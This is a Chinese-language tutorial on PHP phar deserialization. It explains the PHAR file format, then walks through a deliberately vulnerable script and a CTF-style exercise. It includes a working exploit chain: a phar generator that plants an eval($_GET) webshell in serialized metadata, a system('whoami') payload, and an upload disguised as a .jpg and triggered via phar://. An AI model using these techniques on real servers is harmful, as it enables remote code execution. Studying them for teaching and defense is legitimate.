PHP反序列化基础之phar反序列化漏洞
JAR(Java ARchive) 是用于开发 Java 应用程序的打包格式,它将所有可执行文件、资源文件等打包到一个 .jar
文件中,使得部署过程更加简单便捷。
类似地,PHAR(Php ARchive) 是 PHP 中的一种打包格式,类似于 Java 的 JAR。从 PHP 5.3 版本开始,Phar 扩展默认开启支持,开发者可以直接使用 .phar
文件。
PHAR 文件特点:
- 支持 phar 伪协议,可通过
phar://
直接读取.phar
文件内容。 - 适用于 PHP 应用程序的打包和分发,简化部署流程。
(补充说明:PHAR 类似于 Java 的 JAR,但专为 PHP 生态设计,方便代码封装和依赖管理。)
一、PHAR 文件结构
PHAR 文件包含四个核心部分:- Stub(文件头标识)
- 格式:
xxx<?php xxx; __HALT_COMPILER();?>
- 作用:作为可执行入口,类似Shell脚本的shebang
- 格式:
示例:
#!/usr/bin/env php
<?php
Phar::mapPhar('myapp.phar');
include 'phar://myapp.phar/main.php';
__HALT_COMPILER();
- Manifest(元数据)
- 存储方式:序列化格式
- 包含:文件名、大小、时间戳等属性
- 安全提示:
phar://
协议会自动反序列化此部分
- Contents(文件内容)
- 支持压缩格式:GZIP/BZIP2/无压缩
- Signature(签名)
- 位置:文件末尾
- 算法:支持SHA-1/SHA-256等
二、PHAR 文件操作示例
**创建PHAR文件:**<?php
// 创建test2.phar文件
$phar = new Phar('test2.phar', 0, 'test2.phar');
// 添加F:\ODay目录所有文件到归档
$phar->buildFromDirectory('F:\ODay');
// 设置入口文件(命令行+浏览器访问)
$phar->setDefaultStub('test.txt', 'test.txt');
解压PHAR文件:
<?php
$phar = new Phar('test.phar');
$phar->extractTo('test'); // 解压到test目录
index.php
<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
phar.php
<?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
test.phar文件:
当我们使用phar://test.phar
来读取文件的时候,就会将metadata中的字符串进行反序列化
一旦反序列化就会执行index.php中的destruct方法,就会执行output里面的内容,
也就是会使用eval执行a的值
所以构造payload:
phar://test.phar&a=system(%27whoami%27);
练习题:
<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>
解析步骤
生成一个phar文件;
在mate-data里放置一个包含Testobject()的序列化字符串
上传文件;
md5_file执行phar伪协议,触发反序列化
反序列化Testobject()触发 destruck执行echo $flag
生成phar文件:
<?php
class TestObject{
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
修改可以上传的后缀名
test.jpg
上传后
post提交:
file=phar://upload/test.jpg